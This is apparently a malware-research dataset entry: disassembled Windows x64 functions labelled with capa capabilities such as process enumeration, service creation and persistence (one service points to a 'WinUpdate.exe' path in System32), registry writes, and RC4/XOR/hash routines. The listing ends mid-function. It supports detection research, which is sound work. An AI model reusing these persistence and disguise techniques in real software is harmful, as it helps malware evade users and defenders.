joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140022fc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rbp + 0x1a8], rax
xor r15d, r15d
mov edi, r15d
call fcn.1400214d0
mov r14d, eax
cmp eax, 0xffffffff
jne 0x140023004
xor eax, eax
jmp 0x140023203
mov edx, 0x1e
mov qword [rsp + 0x2d8], rsi
lea rcx, [rbp + 0x188]
call fcn.1400144e0
xor edx, edx
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x1400231b7
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x1400231ae
mov qword [rsp + 0x2d0], rbx
nop dword [rax]
lea rcx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], r15w
jne 0x140023070
cmp qword [rbp + 0x1a0], 8
lea r10, [rbp + 0x188]
mov r11, qword [rbp + 0x198]
lea rcx, [rsp + 0x6c]
cmovae r10, qword [rbp + 0x188]
mov r9, r11
cmp rax, r11
cmovb r9, rax
test r9, r9
je 0x1400230f4
movzx edx, word [r10]
movzx r8d, word [rsp + 0x6c]
cmp dx, r8w
jb 0x14002318f
lea rbx, [rsp + 0x6c]
sub r10, rbx
cmp dx, r8w
ja 0x14002318f
cmp r9, 1
je 0x1400230f4
movzx edx, word [r10 + rcx + 2]
add rcx, 2
dec r9
movzx r8d, word [rcx]
cmp dx, r8w
jae 0x1400230cc
jmp 0x14002318f
cmp r11, rax
jb 0x14002318f
ja 0x14002318f
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14002318f
lea r8, [rsp + 0x30]
mov qword [rsp + 0x30], r15
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140023186
mov rcx, qword [rsp + 0x30]
lea rax, [rbp + 0x180]
mov r9d, 4
mov dword [rbp + 0x180], 4
lea r8, [rbp + 0x184]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14002317b
cmp dword [rbp + 0x184], r14d
cmove edi, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140023060
mov rbx, qword [rsp + 0x2d0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x1a0]
mov rsi, qword [rsp + 0x2d8]
cmp rdx, 8
jb 0x140023201
mov rcx, qword [rbp + 0x188]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400231fc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140023227
call fcn.140027b1c
mov eax, edi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rsp
call fcn.140027ad0
mov rdi, qword [rsp + 0x2e0]
add rsp, 0x2b0
pop r15
pop r14
pop rbp
ret
call fcn.14002e468
int3
Function at 0x140025570
Capabilities:
Check for time delay via gettickcount
Query service status
Start service

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x80], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
mov esi, eax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140025766
mov edx, 9
lea rcx, [rsp + 0x30]
call fcn.1400140a0
cmp qword [rax + 0x18], 0x10
jb 0x1400255d1
mov rax, qword [rax]
mov r8d, 0xf01ff
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdx, qword [rsp + 0x48]
mov rdi, rax
cmp rdx, 0x10
jb 0x140025623
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002561e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002578d
call fcn.140027b1c
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
test rdi, rdi
je 0x14002575d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x140025754
lea rax, [rsp + 0x50]
mov r9d, 0x24
lea r8, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140025754
cmp dword [rsp + 0x5c], 2
mov qword [rsp + 0xa0], rbx
mov ebx, dword [rsp + 0x6c]
jne 0x14002572f
mov qword [rsp + 0xa8], r14
mov r14d, 0x2710
nop word [rax + rax]
mov eax, 0xcccccccd
mul dword [rsp + 0x70]
shr edx, 3
cmp edx, 0x3e8
jae 0x1400256cb
mov edx, 0x3e8
jmp 0x1400256d2
cmp edx, r14d
cmova edx, r14d
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x50]
mov r9d, 0x24
lea r8, [rsp + 0x58]
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x140025727
cmp dword [rsp + 0x6c], ebx
jbe 0x140025712
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [rsp + 0x6c]
mov esi, eax
jmp 0x140025720
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, dword [rsp + 0x70]
ja 0x140025727
cmp dword [rsp + 0x5c], 2
je 0x1400256b0
mov r14, qword [rsp + 0xa8]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x5c], 4
mov rbx, qword [rsp + 0xa0]
jne 0x140025766
mov al, 1
jmp 0x140025768
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140027ad0
lea r11, [rsp + 0x90]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002e468
int3

Function at 0x14003e9e8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003e7d8
Function at 0x140048abc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140048b43
mov rsi, rbx
cmp word [rax], bp
je 0x140048b02
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140048aec
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140048ae8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400438ec
mov rdi, rax
test rax, rax
je 0x140048b30
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140029d40
mov rbp, rdi
xor ecx, ecx
call fcn.14004288c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000b500
Capabilities:
Create service
Persist via windows service

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x50], 0xfffffffffffffffe
lea rdx, [0x14021c065]
lea rsi, [rbp - 0x10]
mov r8d, 0x21
mov rcx, rsi
call fcn.1401f5d70
mov rcx, rsi
call fcn.1401f5620
mov rcx, rax
call fcn.1401e5d70
test rax, rax
je 0x14000b569
mov r8, rdx
mov byte [rbp + 0x30], 1
lea rcx, [rbp + 0x30]
mov rdx, rax
call fcn.1401e08c0
test rax, rax
je 0x14000b569
mov rcx, rax
call fcn.140001180
lea rcx, [rbp + 0x30]
call fcn.1401dfda0
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x30], rax
jne 0x14000b58d
mov rcx, qword [rbp + 0x38]
call fcn.140001180
jmp 0x14000b5eb
movups xmm0, xmmword [rbp + 0x30]
movups xmm1, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call fcn.1401f5620
mov rsi, rax
mov rdi, rdx
lea rcx, [rbp - 0x10]
call fcn.1401f5620
mov r9, rdx
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1401eb9d0
test rax, rax
je 0x14000b613
mov rcx, rdx
call fcn.140001180
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x14000b5eb
mov rcx, qword [rbp + 0x18]
mov r8d, 1
call fcn.140012c90
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x14000b603
mov rcx, qword [rbp - 8]
mov r8d, 1
call fcn.140012c90
xor ebx, ebx
mov eax, ebx
add rsp, 0xd8
pop rbx
pop rdi
pop rsi
pop rbp
ret
xor esi, esi
xor ecx, ecx
xor edx, edx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea rcx, [rax + 1]
cmp rcx, 1
ja 0x14000b64f
call fcn.140132970
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x38], edx
test edx, edx
je 0x14000b64f
test rax, rax
je 0x14000b5d3
lea rcx, [rbp + 0x30]
call fcn.1401329a0
jmp 0x14000b5d3
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x40], xmm0
lea rcx, str.C:WindowsSystem32WinUpdate.exe
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
lea rdx, [0x14021c086]
mov rcx, rax
xor r8d, r8d
mov r9d, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
inc rax
cmp rax, 1
ja 0x14000b6b8
call fcn.140132970
mov rdi, rax
mov esi, edx
mov qword [rbp + 0x30], rdi
mov dword [rbp + 0x38], esi
test esi, esi
sete bl
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x14000b6dc
mov rcx, qword [rbp + 0x18]
mov r8d, 1
call fcn.140012c90
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x14000b6f4
mov rcx, qword [rbp - 8]
mov r8d, 1
call fcn.140012c90
test esi, esi
je 0x14000b605
test rdi, rdi
je 0x14000b605
lea rcx, [rbp + 0x30]
call fcn.1401329a0
jmp 0x14000b605
Function at 0x1400119b0
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
lea rcx, [rbp - 0x10]
mov rdx, r9
call fcn.140071440
mov rdi, qword [rdi]
add rsi, rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rsi
mov word [rbp - 0x20], 0
mov dword [rbp - 0x18], 1
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x30]
call fcn.140009090
movzx r9d, byte [rbp + 8]
mov rbx, qword [rbp - 0x40]
mov rsi, qword [rbp - 8]
mov eax, dword [rbp]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
mov rcx, rdi
mov rdx, rbx
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
mov rdx, qword [rbp - 0x48]
test rdx, rdx
je 0x140011a4c
add rdx, rdx
mov r8d, 2
mov rcx, rbx
call fcn.140012c90
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x140011a63
mov r8d, 1
mov rcx, rsi
call fcn.140012c90
mov rcx, rdi
shl rcx, 0x20
or rcx, 2
xor eax, eax
test edi, edi
cmovne rax, rcx
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400129f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x188
mov rsi, rdx
mov qword [rsp + 0x28], rcx
lea r14, [rsp + 0x159]
shl r8, 5
jmp 0x140012a9b
add rsi, 0x20
movzx ecx, byte [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x150], rdi
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xff]
mov qword [r14 + 0x1f], rax
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov word [rsp + 0x180], dx
mov byte [rsp + 0x182], cl
lea rcx, [rsp + 0x108]
lea rdx, [rsp + 0x148]
call fcn.14000f7e0
lea r8, [r12 - 0x20]
test al, al
jne 0x140012c5b
mov r12, r8
test r8, r8
je 0x140012c5b
mov rcx, rsi
call fcn.1401f5620
mov r8, rdx
lea rcx, [rsp + 0x70]
mov rdx, rax
call fcn.1401e6520
mov rcx, qword [rsp + 0x28]
call fcn.1401f5620
mov r8, rdx
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1401e6520
mov rbp, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r13, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
cmp rbx, rdi
jne 0x140012b40
movzx r15d, byte [rsp + 0x80]
movzx eax, byte [rsp + 0xa8]
cmp al, byte [rsp + 0x68]
jne 0x140012b49
cmp byte [rsp + 0xa9], 2
jne 0x140012b49
cmp byte [rsp + 0x69], 2
jne 0x140012b49
cmp r15b, 6
jne 0x140012c1c
cmp byte [rsp + 0x40], 2
ja 0x140012c45
mov al, 6
jmp 0x140012b7f
movzx r15d, byte [rsp + 0x80]
mov al, 6
cmp r15b, 6
je 0x140012b7f
lea rcx, [rsp + 0x81]
mov rax, qword [rcx + 0x1f]
mov qword [rsp + 0xcf], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
mov eax, r15d
movzx ecx, byte [rsp + 0xaa]
movzx edx, word [rsp + 0xa8]
mov qword [rsp + 0x108], rbp
mov qword [rsp + 0x110], rbx
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0xcf]
lea r8, [rsp + 0x119]
mov qword [r8 + 0x1f], rax
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov word [rsp + 0x140], dx
mov byte [rsp + 0x142], cl
movzx eax, byte [rsp + 0x40]
cmp al, 6
je 0x140012a20
lea rdx, [rsp + 0x41]
mov rcx, qword [rdx + 0x1f]
mov qword [rsp + 0xff], rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
jmp 0x140012a20
movzx eax, byte [rsp + 0x40]
cmp al, 6
jne 0x140012c31
cmp r15b, 3
jb 0x140012b51
jmp 0x140012c45
cmp r15b, 3
setb cl
cmp al, 3
setb al
xor al, cl
jne 0x140012b51
mov rcx, rbp
mov rdx, r13
mov r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140012b49
test r12, r12
setne al
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140028a00
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp rdx, 2
jb 0x140028b7a
mov rsi, rdx
mov rdi, rcx
lea r14, [rcx + 8]
mov rcx, r14
mov rdx, rdi
call fcn.1400273c0
mov ebx, eax
mov r15d, 2
test al, al
je 0x140028a5d
cmp rsi, 2
je 0x140028a63
lea r14, [rdi + 8]
mov rdx, r14
add r14, 8
mov rcx, r14
call fcn.1400273c0
test al, al
je 0x140028a63
inc r15
cmp rsi, r15
jne 0x140028a40
jmp 0x140028abb
cmp rsi, 2
jne 0x140028aa0
cmp r15, rsi
je 0x140028abb
mov rax, rsi
or rax, 1
bsr r9, rax
xor r9d, 0x3f
add r9d, r9d
xor r9d, 0x7e
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140028cc0
mov rdx, r14
add r14, 8
mov rcx, r14
call fcn.1400273c0
test al, al
jne 0x140028a63
inc r15
cmp rsi, r15
jne 0x140028aa0
test bl, bl
je 0x140028b7a
mov rax, rsi
shr rax, 1
cmp rsi, 8
jae 0x140028ad3
xor ecx, ecx
jmp 0x140028b42
mov rcx, rax
and rcx, 0xfffffffffffffffc
lea rdx, [rdi + rsi*8]
add rdx, 0xfffffffffffffff0
xor r8d, r8d
nop word cs:[rax + rax]
movdqu xmm0, xmmword [rdi + r8*8]
movdqu xmm1, xmmword [rdi + r8*8 + 0x10]
movdqu xmm2, xmmword [rdx - 0x10]
movdqu xmm3, xmmword [rdx]
pshufd xmm3, xmm3, 0x4e
pshufd xmm2, xmm2, 0x4e
movdqu xmmword [rdi + r8*8], xmm3
movdqu xmmword [rdi + r8*8 + 0x10], xmm2
pshufd xmm0, xmm0, 0x4e
movdqu xmmword [rdx], xmm0
pshufd xmm0, xmm1, 0x4e
movdqu xmmword [rdx - 0x10], xmm0
add r8, 4
add rdx, 0xffffffffffffffe0
cmp rcx, r8
jne 0x140028af0
cmp rax, rcx
je 0x140028b7a
neg rax
lea rdx, [rdi + rcx*8]
neg rcx
lea r8, [rdi + rsi*8]
add r8, 0xfffffffffffffff8
nop word cs:[rax + rax]
mov r9, qword [rdx]
mov r10, qword [r8 + rcx*8]
mov qword [rdx], r10
mov qword [r8 + rcx*8], r9
dec rcx
add rdx, 8
cmp rax, rcx
jne 0x140028b60
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x14005ea50
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
test rdx, rdx
je 0x14005eac2
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
mov r15, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov r12, qword [sym.imp.ADVAPI32.dll_SystemFunction036]
jmp 0x14005ea88
add rdi, rbx
sub rsi, rbx
je 0x14005eac2
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
xor ecx, ecx
mov rdx, rdi
mov r8d, ebx
mov r9d, 2
call r15
cmp eax, 0xbfffffff
jbe 0x14005ea80
mov ebp, eax
mov rcx, rdi
mov edx, ebx
call r12
test al, al
jne 0x14005ea80
and ebp, 0x7fffffff
jmp 0x14005eac4
xor ebp, ebp
mov eax, ebp
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400711a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x48
movdqa xmmword [rsp + 0x30], xmm9
movdqa xmmword [rsp + 0x20], xmm8
movdqa xmmword [rsp + 0x10], xmm7
movdqa xmmword [rsp], xmm6
cmp r8, 0x80
jb 0x1400713bd
movdqu xmm4, xmmword [rdx]
movdqu xmm3, xmmword [rdx + 0x10]
movdqu xmm2, xmmword [rdx + 0x20]
movdqu xmm1, xmmword [rdx + 0x30]
not ecx
movd xmm0, ecx
pxor xmm0, xmm4
add rdx, 0x40
add r8, 0xffffffffffffffc0
movabs rax, 0x154442bd4
movq xmm4, rax
movdqa xmm5, xmmword [0x14027ef80]
nop word cs:[rax + rax]
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm7, xmm0
pclmulqdq xmm7, xmm5, 0x11
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm6
pxor xmm0, xmm7
movdqu xmm6, xmmword [rdx + 0x10]
movdqu xmm7, xmmword [rdx + 0x20]
movdqu xmm8, xmmword [rdx + 0x30]
movdqa xmm9, xmm3
pclmulqdq xmm9, xmm4, 0
pxor xmm9, xmm6
pclmulqdq xmm3, xmm5, 0x11
pxor xmm3, xmm9
movdqa xmm6, xmm2
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm7
pclmulqdq xmm2, xmm5, 0x11
pxor xmm2, xmm6
movdqa xmm6, xmm1
pclmulqdq xmm6, xmm4, 0
pxor xmm6, xmm8
pclmulqdq xmm1, xmm5, 0x11
pxor xmm1, xmm6
add rdx, 0x40
add r8, 0xffffffffffffffc0
cmp r8, 0x3f
ja 0x140071210
movabs rax, 0x1751997d0
movq xmm4, rax
movdqa xmm6, xmm0
pclmulqdq xmm6, xmm4, 0
movdqa xmm5, xmmword [0x14027ef90]
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm6
pxor xmm0, xmm3
movdqa xmm3, xmm0
pclmulqdq xmm3, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm3
pxor xmm0, xmm2
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
pxor xmm0, xmm1
cmp r8, 0x10
jb 0x14007133a
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rdx]
add r8, 0xfffffffffffffff0
add rdx, 0x10
movdqa xmm2, xmm0
pclmulqdq xmm2, xmm4, 0
pxor xmm2, xmm1
pclmulqdq xmm0, xmm5, 0x11
pxor xmm0, xmm2
cmp r8, 0xf
ja 0x140071310
movdqa xmm1, xmmword [0x14027ef90]
pclmulqdq xmm1, xmm0, 1
psrldq xmm0, 8
pxor xmm0, xmm1
pxor xmm1, xmm1
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
movabs rax, 0x163cd6124
movq xmm3, rax
pclmulqdq xmm3, xmm2, 0
psrldq xmm0, 4
pxor xmm0, xmm3
pxor xmm2, xmm2
pblendw xmm2, xmm0, 3
pclmulqdq xmm2, xmmword [0x14027efa0], 0x10
pblendw xmm2, xmm1, 0xfc
movabs rax, 0x1db710641
movq xmm1, rax
pclmulqdq xmm1, xmm2, 0
pxor xmm1, xmm0
pextrd ecx, xmm1, 1
not ecx
test r8, r8
je 0x1400713db
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
jmp fcn.140070c80
mov eax, ecx
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
add rsp, 0x48
ret
Function at 0x1400a3e60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
cmp dword [rcx], 2
jne 0x1400a3ef6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
pshufd xmm2, xmm0, 0xee
pxor xmm2, xmmword [0x140287d00]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rsi, qword [rdx]
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400ac0b0
test rdi, rdi
je 0x1400a3f85
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x1400a3f9e
mov rcx, qword [rdx]
mov r8, qword [rcx]
xor edx, edx
test r8, r8
setne dl
movabs rax, 0xcbf29ce484222325
xor rax, rdx
movabs rdx, 0x1efac7090aef4a21
imul rax, rdx
test r8, r8
je 0x1400a4096
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x1400a4118
mov rcx, qword [rcx + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x1400a40a3
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x1400a3f60
cmp r9, 8
jae 0x1400a40ac
jmp 0x1400a4118
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400ac0b0
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov r8, qword [rsp + 0x30]
add r8, rax
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400a4118
movzx ecx, byte [rcx + 8]
xor rax, rcx
imul rax, rdx
jmp 0x1400a4118
mov r8, rcx
cmp r9, 8
jb 0x1400a4118
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x1400a40b0
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x1400a44f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400a4586
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x140287d00]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.1400ac0b0
test rdi, rdi
je 0x1400a4615
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x1400a462e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x1400a4726
